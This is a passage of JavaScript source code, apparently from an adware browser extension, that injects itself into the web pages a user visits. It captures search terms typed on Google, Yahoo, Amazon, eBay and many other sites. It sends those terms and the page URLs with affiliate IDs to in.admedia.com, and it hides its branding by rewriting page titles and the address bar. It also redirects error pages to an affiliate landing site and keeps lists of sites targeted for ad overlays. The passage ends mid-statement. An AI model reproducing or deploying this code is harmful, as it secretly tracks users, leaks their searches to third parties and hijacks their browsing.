if(document.location.href.indexOf('comscore.com') != -1 || document.location.href.indexOf('docs.google.com') != -1 || document.location.href.indexOf('google.com/calendar') != -1 || document.location.href.indexOf('google.com/analytics') != -1 || document.location.href.indexOf('google.com/alerts') != -1 || document.location.href.indexOf('coolchaser.com') != -1 || document.location.href.indexOf('mail.google.com') != -1 || document.location.href.indexOf('mngt.admedia') != -1 || document.location.href.indexOf('netflix.com') != -1 || document.location.href.indexOf('apple.com') != -1 || document.location.href.indexOf('mail.yahoo.com') != -1)
throw "No Injection";
var yhsUrl = "";
var unique_yaid = "31785802174330";
if(document.location.href.indexOf('yahoo.com') != -1)
checkYahooSearch(document.location.href);
function checkYahooSearch(yurl)
{
var ySearchTerm = "";
var frVal = "";
var isYSearch = false;
m = yurl.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/search\?(.+&)?p=([^&]*)(.+&)fr=([^&]*).*$/);
if (m !== null) {
isYSearch = true;
ySearchTerm = unescape(m[2]);
frVal = unescape(m[4]);
}
if(!isYSearch)
{
m = yurl.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/search\?(.+&)?fr=([^&]*)(.+&)p=([^&]*).*$/);
if (m !== null) {
isYSearch = true;
ySearchTerm = unescape(m[4]);
frVal = unescape(m[2]);
}
}
if(!isYSearch)
{
m = yurl.match(/^https?:\/\/us\.yhs4\.search\.yahoo\.[a-z\.]+\/yhs\/search\?(.+&)?hsimp=yhs-mystartdefault(.+&)p=([^&]*).*$/);
if (m !== null) {
isYSearch = true;
ySearchTerm = unescape(m[3]);
}
}
if(!isYSearch)
{
m = yurl.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/(.*\/)?search(;.*)\?(.+&)?p=([^&]*).*$/);
if (m !== null) {
isYSearch = true;
ySearchTerm = unescape(m[4]);
frVal = 'aaplw';
}
}
if(ySearchTerm != '')
{
var ydirect = encodeURIComponent("http://us.yhs4.search.yahoo.com/yhs/search?hspart=ditto&hsimp=yhs-imageadvantage&p="+ySearchTerm+"&type=115_5010_"+unique_yaid+"_YHS");
//window.location = "http://js.imageadnet.com/d/?url="+ydirect;
}
m = yurl.match(/^https?:\/\/us\.yhs4\.search\.yahoo\.[a-z\.]+\/yhs\/search\?.*$/);
if (m !== null) {
yhsUrl = yurl;
window.history.pushState("newWebAddress", "Change web address", "/search");
var dtitle = document.title;
dtitle = dtitle.replace("Image Advantage ", "");
document.title = dtitle;
}
}
var xmlAds = 1;
var bannerAds = 1;
var inlineAds = 0;
var overlayAds = 1;
var footerrollAds = 1;
var gcache = 1;
var subid = "&subid=41460_2937";
var randCtxt = 1;
var ctxtBanners = 1;
var vsliderAds = 0;
var exitmonAds = 1;
var offersliderAds = 1;
var inlineEnabled = 1;
var vdisplayEn = 0;
var vdisplay = 0;
var vsliderEn = 1;
var travelSliderEn = 1;
var shoppingAdsEn = 1;
var banner_rep = 1;
var usadservEx = "Oj07ITgyODQjNA";
var dSites = new Array();
dSites['xml'] = "google,";
dSites['banner'] = "";
dSites['inline'] = "";
dSites['overlay'] = "";
dSites['footerroll'] = "";
var id = "ODkoPiM";
var affiliate = "21110";
var pageUrl = "";
var xmlAff = "21110";
var cpmAccount = "ac_21112";
var prollEnabled = "1";
var placementID = "";
var hplacementID = "";
var overlay_allow = "";
var inline_highlight = "&highlight=false";
var bannerHost = "b.localpages.com/banners";
var prerollHost = "leisure.com/preroll";
var shopAff = "25982";
var shopAffiliate = "widdit_shopping";
var preroll_host = "Q0ft4nw0NfdkNvNDAksjbDIvK5rmBJMD6OfdqedVUTM=";
var spotx_ref = "pDyJO7lXrfJMHGCzC/8kAwcjAVpx5kwmgyGIbqjsmh8=";
var bannerDomain = "b.localpages.com";
var prerollDomain = "leisure.com";
var vsid = "";
var showGoogleSerp = 1;
var showGoogleShop = 1;
if(affiliate == "21110" || affiliate == "24470" || affiliate == "25531")
{
if(document.location.href.indexOf('comscore.com') != -1 || document.location.href.indexOf('widdit.com') != -1 || document.location.href.indexOf('searchcompletion.com') != -1 || document.location.href.indexOf('certified-toolbar.com') != -1 || document.location.href.indexOf('protectedsearch.com') != -1 || document.location.href.indexOf('autocompletepro.com') != -1 || document.location.href.indexOf('complitly.com') != -1 || document.location.href.indexOf('onefloorapp.com') != -1)
throw "No Injection";
}
if(localStorage['googleSerpAds'])
{
var serpVal = localStorage['googleSerpAds'].split(';');
var cts = Math.round((new Date()).getTime() / 1000);
if(serpVal[1] && serpVal[1] > cts)
showGoogleSerp = 0;
else
localStorage.removeItem('googleSerpAds');
}
if(localStorage['googleShopAds'])
{
var shopVal = localStorage['googleShopAds'].split(';');
var scts = Math.round((new Date()).getTime() / 1000);
if(shopVal[1] && shopVal[1] > scts)
showGoogleShop = 0;
else
localStorage.removeItem('googleShopAds');
}
var title = "";
var desc = "";
var favicon = "";
var adUrl = "";
var redirect = "";
IEtitle = "";
IEurl = "";
IEdesc = "";
IEdomain = "";
IEfavicon = "";
IEtitle2 = "";
IEurl2 = "";
IEdesc2 = "";
IEdomain2 = "";
IEfavicon2 = "";
var ad_label = "Ads";
var ad_label_link = "javascript: void();";
var q_link = "";
if(yhsUrl != '')
pageUrl = yhsUrl;
else if(pageUrl == '')
pageUrl = document.location.href;
var pageReferer = document.referrer;
var ie_version = -1;
entity = function(url, mode) {
var m;
m = url.match(/^https?:\/\/([^\/]+\.)?([a-z0-9\-_]+?)\.(co|org|net|com|gov|name|arpa|mil|edu|biz|mobi|aero|asia|cat|coop|info|int|jobs|museum|pro|tel|travel|xxx|[a-z][a-z]|(co|edu|gov|net|org|com)\.[a-z][a-z])(\/|$)/i);
if (m === null) {
if(url.indexOf('dnserror') != -1 || url.indexOf('ieframe.dll') != -1)
{
var loc_sp = url.split("#");
if(loc_sp[1] && loc_sp[1] != '')
window.location = "http://404bucks.com/landing/?uid="+affiliate+subid+"&domainname="+loc_sp[1];
}
else
throw 'Not a valid URL: ' + url;
}
if(m[2] == "co" && url.indexOf('bbc') != -1)
return "bbc";
else if(m[2] == "yahoo" && url.indexOf('omg') != -1)
return "omg";
if(mode == 1)
return m[2];
else if(mode == 2)
return m[2]+"."+m[3];
}
var httpText = "http";
//if(id == "18793")
//{
if(document.location.href.indexOf('https://') != -1)
httpText = "https";
//}
var pageEntity = entity(document.location.href, 1);
var pageDomain = entity(document.location.href, 2);
var refDomain = "";
if(document.referrer && document.referrer != '')
refDomain = entity(document.referrer, 2);
var zredirect = "";
var domRedKword = "";
var domRedUrl = "";
if(domRedUrl != '' && document.referrer.indexOf('r1.php') == -1 && document.referrer.indexOf('r2.php') == -1 && document.referrer.indexOf('cad.php') == -1 && document.referrer.indexOf('redirect.php') == -1 && refDomain != pageDomain && pageDomain != "hughesnet.com" && document.referrer.indexOf('bestreviewonlineproduct.com') == -1 && document.referrer.indexOf('trkreviews.com') == -1 && document.referrer.indexOf('bestsellersreviewguide.com') == -1 && document.referrer.indexOf('clkme.info') == -1)
{
zredirect = "";
window.location = domRedUrl;
}
//var pageEntity = "bestbuy";
var escapedTerm = "";
var term = "";
var fplayer_width = 300;
var fplayer_height = 250;
var deptApt = "";
var arrApt = "";
var deptDate = "";
var retDate = "";
overlayHosts = {
dailymotion: false,
bing: true,
hulu: true,
vimeo: false,
youtube: true,
mtv: true,
vivo: true,
imdb: true,
ap: true,
myspace: true,
comcast: true,
omg: true,
tmz: true,
'break': true,
flickr: true,
zimbio: true,
fandango: true,
ksl: true,
time: true,
buy: true,
ew: true,
usmagazine: true,
yahoo: true,
aol: true,
pbs: true,
hollywoodreporter: true,
cracked: true,
collegehumor: true,
nbc: true,
cbs: true,
vevo: true,
metacafe: true,
cbsnews: true,
cbssports: true,
maxpreps: true,
cbslocal: true,
zdnet: true,
tv: true,
chow: true,
gamespot: true,
gamefaqs: true,
giantbomb: true,
comicvine: true,
majorleaguegaming: true,
fandango: true,
sciencedaily: true,
huffingtonpost: true,
ivillage: true,
dinnertool: true,
dailycandy: true,
lifegoesstrong: true,
cnbc: true,
nbcnewyork: true,
nbcfdw: true,
nbcchicago: true,
nbclosangeles: true,
accesshollywood: true,
g4tv: true,
lyricsmode: true,
mtvu: true,
'vh1': true,
nextmovie: true,
film: true,
cmt: true,
theslap: true,
comedycentral: true,
thedailyshow: true,
colbertnation: true,
gametrailers: true,
onedirectionmusic: true,
beyonceonline: true,
'5min': true,
people: true,
theboot: true,
spinner: true,
fanpop: true,
celebuzz: true,
buzznet: true,
gossipcenter: true,
filmtrailers: true,
rottentomatoes: true,
'celebrity-gossip': true,
celebspin: true,
teamcoco: true,
disney: true,
marvel: true,
crackle: true,
livemixtapes: true,
joblo: true,
ebaumsworld: true,
screenrant: true,
gamefly: true,
pcgamer: true,
gamesradar: true,
techradar: true,
discovery: true,
mylifetime: true,
biography: true,
aetv: true,
wetpaint: true,
examiner: true,
hollywood: true
};
footerrollHosts = {
pogo: true,
popcap: true,
ea: true,
origin: true,
'thesims3': true,
thesims: true,
'thesims2': true,
simcity: true,
battlefield: true,
battlefieldheroes: true,
easports: true,
easportsworld: true,
eafootballworld: true,
swtor: true,
needforspeed: true,
speedhunters: true,
eamobile: true,
bioware: true,
commandandconquer: true,
playfish: true,
medalofhonor: true,
spore: true,
lordofultima: true,
armyoftwo: true,
handson: true,
masseffect: true,
uoherald: true,
uo: true,
crysis: true,
sporehero: true,
ign: true,
gamespy: true,
fileplanet: true,
teambox: true,
gamespyarcade: true,
gamestats: true,
planetdiablo: true,
gamestop: true,
askmen: true,
filefactory: true,
ugo: true,
atomicgamer: true,
allmoviephoto: true,
ebgames: true,
civfanatics: true,
allmovieportal: true,
heromachine: true,
gamecheats: true,
moono: true,
digitalriver: true,
gamezone: true,
planetminecraft: true,
runescape: true,
supercheats: true,
spellingcity: true,
wizards: true,
lotro: true,
neogaf: true,
videogamesblogger: true
};
prerollHosts = {
yahoo: true,
msn: true,
youtube: true,
aol: true,
cnn: true,
huffingtonpost: true,
imdb: true,
nytimes: true,
flickr: true,
foxnews: true,
reddit: true,
reference: true,
washingtonpost: true,
photobucket: true,
wsj: true,
expedia: true,
latimes: true,
tripadvisor: true,
myspace: true,
allrecipes: true,
foxsports: true,
cbssports: true,
mashable: true,
webmd: true,
cbslocal: true,
mlb: true,
nydailynews: true,
foodnetwork: true,
kayak: true,
sfgate: true,
marketwatch: true,
gsn: true,
wildtangent: true,
agame: true,
nick: true,
armorgames: true,
rivalgaming: true,
y8: true,
pchgames: true,
bigfishgames: true,
king: true,
kongregate: true,
games: true,
gamehouse: true,
freeonlinegames: true,
ninjakiwi: true,
playsushi: true,
gamesville: true,
"10news":true
};
homepageAdsHosts = {
amazon: true,
bestbuy: true,
walmart: true,
kmart: true,
lowes: true,
overstock: true,
pronto: true,
ebay: true,
sears: true,
shopping: true,
shopzilla: true,
staples: true,
target: true,
shopathome: true,
kohls: true,
gap: true,
barnesandnoble: true,
costco: true,
ticketmaster: true,
nextag: true,
etsy: true,
buycheapr: true,
rakuten: true,
alibaba: true,
pricegrabber: true,
limitedbrands: true,
walgreens: true,
proflowers: true,
thefind: true,
oldnavy: true,
cvs: true,
officedepot: true,
stubhub: true,
cafepress: true,
bedbathandbeyond: true,
gifts: true,
drugstore: true,
ikea: true,
lego: true,
guitarcenter: true,
'1800flowers': true,
cabelas: true,
hsn: true,
sony: true,
fingerhut: true,
dsw: true,
hottopic: true,
zazzle: true,
kroger: true,
abercrombie: true,
movietickets: true,
dickssportinggoods: true,
shopwiki: true,
radioshack: true,
consumersearch: true,
orientaltrading: true,
officemax: true,
cduniverse: true,
tickets: true,
finishline: true,
harborfreight: true,
eastbay: true,
shoplocal: true,
sportsauthority: true,
landsend: true,
wayfair: true,
menards: true,
basspro: true,
microsoftstore: true,
become: true,
thinkgeek: true,
joann: true,
shoebuy: true,
'best-deal': true,
dhgate: true,
northerntool: true,
wirefly: true,
christianbook: true,
safeway: true,
acehardware: true,
childrensplace: true,
style: true,
jcwhitney: true,
simon: true,
riteaid: true,
nomorerack: true,
pacsun: true,
customink: true,
personalizationmall: true,
lightinthebox: true,
jr: true,
wetseal: true,
charlotterusse: true,
toms: true,
grasscity: true,
disneystore: true,
ediblearrangements: true,
autoanything: true,
redenvelope: true,
proactiv: true,
llbean: true,
logitech: true,
bradfordexchange: true,
academy: true,
ulta: true,
ticketliquidator: true,
dressbarn: true,
coldwatercreek: true,
belk: true,
drjays: true,
techbargains: true,
berries: true,
bonton: true,
bluefly: true,
bonanza: true,
nyandcompany: true,
adorama: true
};
blacklistInlineHosts = {
'google.com': true,
'search.yahoo.com': true,
'bing.com': true,
'aol.com': true,
'ask.com': true,
'info.com': true,
'infospace.com': true,
'thehartford.com': true,
'geico.com': true,
'online.americanexpress.com': true,
'americanexpress.com': true,
'eastbay.com': true,
'twitter.com': true,
'citysearch.com': true,
'21st.com': true,
'allstate.com': true,
'autoinsurancequotes.com': true,
'go2cloud.org': true,
'bankrateinsurancequotes.com': true,
'mail.yahoo.com': true,
'mail.aol.com': true,
'gmail.com': true,
'mail.google.com': true,
'login.live.com': true,
'mail.live.com': true,
'att.com': true,
'att.net': true,
'mysprint.sprint.com': true,
'secure.bankofamerica.com': true,
'bankofamerica.com': true,
'wellsfargo.com': true,
'chase.com': true,
'usbank.com': true,
'verizonwireless.com': true,
'verizon.com': true,
'verizon.net': true,
't�mobile.com': true,
'metropcs.com': true,
'facebook.com': true,
'twitter.com': true,
'americanexpress.com': true,
'citibank.com': true,
'virginmobileusa.com': true,
'boostmobile.com': true,
'citibank.com': true,
'client.schwab.com': true
};
function loadScript(url, callback)
{
var head = document.getElementsByTagName("head")[0];
addLater = false;
if(!head){
head = document.createElement("head");
addLater = true;
}
var script = document.createElement("script");
script.src = url;
script.type = "text/javascript";
if (script.readyState){ //IE
script.onreadystatechange = function(){
if (script.readyState == "loaded" ||
script.readyState == "complete"){
script.onreadystatechange = null;
callback();
}
};
} else { //Others
script.onload = function(){
callback();
};
}
head.appendChild(script);
if(addLater){
document.documentElement.appendChild(head);
}
}
determineIsSearch = function() {
var m, href;
href = pageUrl;
ref = document.referrer;
// Defaults
isTravel = false;
isSearch = false;
isShop = false;
isGoogle = false;
isGoogleAjax = false;
isBing = false;
isYahoo = false;
isAsk = false;
isAmazon = false;
isEbay = false;
isOverstock = false;
isInfo = false;
isInfospace = false;
isBlinkx = false;
isLocal = false;
isYellowbook = false;
isYellowpages = false;
isSuperpages = false;
isBusiness = false;
isAol = false;
isLive = false;
isTwitter = false;
isAmazon = false;
isTarget = false;
isBestBuy = false;
isShopzilla = false;
isPronto = false;
isStaples = false;
isMacys = false;
isHomeDepot = false;
isLowes = false;
isShopping = false;
isKmart = false;
isJcPenny = false;
isSears = false;
isWalmart = false;
isComcast = false;
isFoxnews = false;
isYelp = false;
isYoutube = false;
isEtsy = false;
isMws = false;
isUps = false;
isUsps = false;
isReference = false;
isAtt = false;
isIntuit = false;
isRr = false;
isIndeed = false;
isUsa = false;
isWsj = false;
isDailymail = false;
isVimeo = false;
isLatimes = false;
isNewegg = false;
isTmz = false;
isMyspace = false;
isFiverr = false;
isGo = false;
isAllrecipes = false;
isFoxsports = false;
isCbssports = false;
isShopathome = false;
isSlickdeals = false;
isVerizon = false;
isSwest = false;
isSquidoo = false;
isKohls = false;
isCbuilder = false;
isPeople = false;
isGoD = false;
isGap = false;
isMonster = false;
isMeetup = false;
isWebmd = false;
isReuters = false;
isCa = false;
isNih = false;
isIgn = false;
isWpages = false;
isMlb = false;
isRetailmenot = false;
isNydaily = false;
isDigg = false;
isHubpages = false;
isSresults = false;
isFnetwork = false;
isElink = false;
isDM = false;
isKayak = false;
isSfgate = false;
isCostco = false;
isHp = false;
isCBank = false;
isBberg = false;
isMwatch = false;
isBabylon = false;
isNextag = false;
isPGrabber = false;
isBCheapr = false;
isAlibaba = false;
isZazzle = false;
isThefind = false;
isNStrom = false;
isOdepot = false;
isF21 = false;
isBedbath = false;
isQvc = false;
isGifts = false;
isDrugstore = false;
is123rf = false;
isGamestop = false;
isBnoble = false;
isZappos = false;
isWalgreens = false;
isDell = false;
isCvs = false;
isBizrate = false;
isNike = false;
isWayfair = false;
isEvite = false;
isSamsclub = false;
isVictorias = false;
isDicks = false;
isVista = false;
isCafepress = false;
isAe = false;
isHsn = false;
isFootlocker = false;
isLenovo = false;
isSmarter = false;
isCraigslist = false;
isBackpage = false;
isDuckgo = false;
isAbout = false;
isDevart = false;
isJeepforum = false;
isImgur = false;
isFindprices = false;
isSafercar = false;
isAbcteach = false;
isJimmyjazz = false;
isAliexpress = false;
isCrengland = false;
isBehance = false;
isRewarder = false;
isRmondpie = false;
is123peppy = false;
isMovie2k = false;
isWmur = false;
isIsticker = false;
isNbcphil = false;
isGriffin = false;
isLds = false;
isPcrich = false;
isPcmag = false;
isSidereel = false;
isUgg = false;
isFunnymama = false;
isHamilton = false;
isQuizlet = false;
isRantlife = false;
isFashiondiva = false;
isNg = false;
isCnet = false;
isPopphoto = false;
isRedbubble = false;
isSephora = false;
isDailykos = false;
isCargurus = false;
is13wmaz = false;
isTinypic = false;
isMicrosoft = false;
isCnn = false;
isLinkedin = false;
isPinterest = false;
switch (pageEntity) {
case 'google':
// Different classes are used by google search
if(jQuery('#tsf').length > 0)
{
var googleIn = '#lst-ib'; // For input box
var googleBt = '#tsf :submit'; // For Button
}
else
{
var googleIn = '#gbqfq';
var googleBt = '#gbqf :submit';
}
jQuery(googleIn).keydown(function(event) {
if(event.which == 13 && dSites['xml'].indexOf("google,") == -1 && xmlAds == 1) // If enter is pressed
{
term = jQuery(googleIn).val();
escapedTerm = term;
isGoogle = true;
injectShoppingAds(term);
//openPopUpTab(term);
//if(ie_version != 1)
//setTimeout(function() { injectXmlAds(); }, 1000);
//else
setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000);
}
else if(event.which == 13 && (dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663") // If disabled
{
//openPopUpTab(term);
if(showGoogleSerp == 1 || showGoogleShop == 1)
{
term = jQuery(googleIn).val();
escapedTerm = term;
isGoogle = true;
if(showGoogleShop == 1)
injectShoppingAds(term);
if(showGoogleSerp == 1)
setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000);
}
}
// In case suggestion terms are clicked on
if(ie_version != 1)
jQuery('.gstl_0.gssb_c').unbind('click');
else
jQuery('.gstl_0.gssb_c').unbind('mouseleave'); // IE works on mouse events only
if(jQuery('.gstl_0.gssb_c').length > 0)
{
if(ie_version != 1)
{
jQuery('.gstl_0.gssb_c').click(function() {
term = jQuery(googleIn).val();
escapedTerm = term;
isGoogle = true;
if(dSites['xml'].indexOf("google,") == -1 && xmlAds == 1)
{
//openPopUpTab(term);
injectShoppingAds(term);
setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000);
}
else if((dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663")
{
//openPopUpTab(term);
if(showGoogleShop == 1)
injectShoppingAds(term);
if(showGoogleSerp == 1)
setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000);
}
});
}
else
{
jQuery('.gstl_0.gssb_c').mouseleave(function() {
term = jQuery(googleIn).val();
escapedTerm = term;
isGoogle = true;
if(dSites['xml'].indexOf("google,") == -1 && xmlAds == 1)
{
//openPopUpTab(term);
injectShoppingAds(term);
setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000);
}
else if((dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663")
{
//openPopUpTab(term);
if(showGoogleShop == 1)
injectShoppingAds(term);
if(showGoogleSerp == 1)
setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000);
}
});
}
}
});
jQuery(googleBt).click(function() {
term = jQuery(googleIn).val();
escapedTerm = term;
isGoogle = true;
if(dSites['xml'].indexOf("google,") == -1 && xmlAds == 1)
{
//openPopUpTab(term);
injectShoppingAds(term);
setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000);
}
else if((dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663")
{
//openPopUpTab(term);
if(showGoogleShop == 1)
injectShoppingAds(term);
if(showGoogleSerp == 1)
setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000);
}
});
m = href.match(/^https?:\/\/.*\.google\.[a-z\.]+\/.*#(.+&)?q=([^&]*).*$/);
if (m !== null) {
isGoogle = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
m = href.match(/^https?:\/\/.*\.google\.[a-z\.]+\/search\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isGoogle = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
break;
case 'bing':
m = href.match(/^https?:\/\/.*\.bing\.[a-z\.]+\/search\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isBing = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
break;
case 'yahoo':
jQuery("#yschsp").keydown(function(event) {
if(event.which == 13) // If enter is pressed
{
//openPopUpTab(jQuery('#yschsp').val());
}
});
m = href.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/(.*\/)?search(;.*)\?(.+&)?p=([^&]*).*$/);
if (m !== null) {
isYahoo = true;
escapedTerm = m[4];
term = unescape(m[4]);
isSearch = true;
return;
}
m = href.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/(.*\/)?search(\/;.*)\?(.+&)?p=([^&]*).*$/);
if (m !== null) {
isYahoo = true;
escapedTerm = m[4];
term = unescape(m[4]);
isSearch = true;
return;
}
m = href.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/(.*)\/;.*$/);
if (m !== null) {
isYahoo = true;
escapedTerm = m[1];
term = unescape(m[1]);
isSearch = true;
return;
}
m = href.match(/^https?:\/\/us\.yhs4\.search\.yahoo\.[a-z\.]+\/yhs\/search\?(.+&)?p=([^&]*).*$/);
if (m !== null) {
isYahoo = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
m = href.match(/^https?:\/\/search\.yahoo\.[a-z\.]+\/404handler\?(.+&)?url=([^&]*).*$/);
if (m !== null) {
isYahoo = true;
document.location = "http://404bucks.com/landing/?uid="+affiliate+subid+"&domainname="+unescape(m[2]);
isSearch = true;
return;
}
m = href.match(/^https?:\/\/[a-z]+\.travel\.yahoo\.net\/flights.*$/);
if (m !== null) {
deptApt = jQuery('input[name="leavingFrom1"]').val();
arrApt = jQuery('input[name="goingTo1"]').val();
deptDate = jQuery('input[name="leavingDate"]').val();
retDate = jQuery('input[name="returningDate"]').val();
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '' && arrApt && arrApt != '' && deptDate && deptDate != '')
isTravel = true;
return;
}
break;
case 'ask':
m = href.match(/^https?:\/\/www\.ask\.[a-z\.]+\/web\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isAsk = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
break;
case 'amazon':
m = href.match(/^https?:\/\/.*\.amazon\.[a-z\.]+\/s\/.*\?(.+&)?field-keywords=([^&]*).*$/);
if (m !== null) {
isAmazon = true;
escapedTerm = m[2];
term = unescape(m[2]);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/.*\.amazon\.[a-z\.]+\/s\/.*\?(.+&)?field-keywords=([^&]*).*$/);
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'ebay':
m = href.match(/^https?:\/\/shop\.ebay\.[a-z\.]+\/i\.html\?(.+&)?_nkw=([^&]*).*$/);
if (m !== null) {
isEbay = true;
escapedTerm = m[2];
term = unescape(m[2]);
isShop = true;
return;
}
m = href.match(/^https?:\/\/(www\.)ebay\.[a-z\.]+\/sch\/i\.html\?(.+&)?_nkw=([^&]*).*$/);
if (m !== null) {
isEbay = true;
escapedTerm = m[3];
term = unescape(m[3]);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/(www\.)ebay\.[a-z\.]+\/sch\/i\.html\?(.+&)?_nkw=([^&]*).*$/);
if (m !== null) {
escapedTerm = m[3];
term = unescape(m[3]);
return;
}
break;
case 'overstock':
m = href.match(/^https?:\/\/(www\.)?overstock\.[a-z\.]+\/search\/?\?(.+&)?keywords=([^&]*).*$/)
if (m !== null) {
isOverstock = true;
escapedTerm = m[3];
term = unescape(m[3]);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/(www\.)?overstock\.[a-z\.]+\/search\/?\?(.+&)?keywords=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[3];
term = unescape(m[3]);
return;
}
break;
case 'info':
m = href.match(/^https?:\/\/(www\.)?info\.[a-z\.]+\/searchw\/?\?(.+&)?qkw=([^&]*).*$/)
if (m !== null) {
isInfo = true;
escapedTerm = m[3];
term = unescape(m[3]);
isSearch = true;
return;
}
m = href.match(/^https?:\/\/(www\.)?info\.[a-z\.]+\/search\/?\?(.+&)?qkw=([^&]*).*$/)
if (m !== null) {
isInfo = true;
escapedTerm = m[3];
term = unescape(m[3]);
isSearch = true;
return;
}
break;
case 'infospace':
m = href.match(/^https?:\/\/(.*?)\.infospace\.com\/search\/web\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isInfospace = true;
escapedTerm = m[3];
term = unescape(m[3]);
isSearch = true;
return;
}
break;
case 'blinkx':
m = href.match(/^https?:\/\/(www\.)?blinkx\.[a-z\.]+\/videos\/(.+)(\/|$)/)
if (m !== null) {
isBlinkx = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
break;
case 'local':
m = href.match(/^https?:\/\/www\.local\.[a-z\.]+\/business\/results\/\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
isLocal = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
break;
case 'yellowbook':
m = href.match(/^https?:\/\/www\.yellowbook\.[a-z\.]+\/yellow-pages\/?\?(.+&)?what=([^&]*).*$/)
if (m !== null) {
isYellowbook = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
m = href.match(/^https?:\/\/beta\.yellowbook\.[a-z\.]+\/yellow-pages\/?\?(.+&)?what=([^&]*).*$/)
if (m !== null) {
isYellowbook = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
break;
case 'yellowpages':
m = href.match(/^https?:\/\/www\.yellowpages\.[a-z\.]+\/.+?\/(.+?)(\/|$)/)
if (m !== null) {
isYellowpages = true;
escapedTerm = m[1];
term = unescape(m[1]);
isSearch = true;
return;
}
break;
case 'superpages':
m = href.match(/^https?:\/\/yellowpages\.superpages\.[a-z\.]+\/listings.jsp\/?\?(.+&)?C=([^&]*).*$/)
if (m !== null) {
isSuperpages = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
break;
case 'ask':
m = href.match(/^https?:\/\/www\.ask\.[a-z\.]+\/web\/?\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isAsk = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
break;
case 'aol':
m = href.match(/^https?:\/\/aolsearcht[0-9].*\.search\.aol\.[a-z\.]+\/aol\/search\/?\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isAol = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/search\.aol\.[a-z\.]+\/aol\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isAol = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
break;
case 'twitter':
m = href.match(/^https?:\/\/twitter\.com\/(.*?)\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isTwitter = true;
escapedTerm = m[3];
term = unescape(m[3]);
isSearch = true;
return;
}
break;
case 'target':
m = href.match(/^https?:\/\/www\.target\.[a-z\.]+\/s\/?\?(.+&)?searchTerm=([^&]*).*$/)
if (m !== null) {
isTarget = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
m = ref.match(/^https?:\/\/www\.target\.[a-z\.]+\/s\/?\?(.+&)?searchTerm=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'bestbuy':
m = href.match(/^https?:\/\/www\.bestbuy\.[a-z\.]+\/site\/searchpage.jsp(;.*)?\?(.+&)?st=([^&]*).*$/)
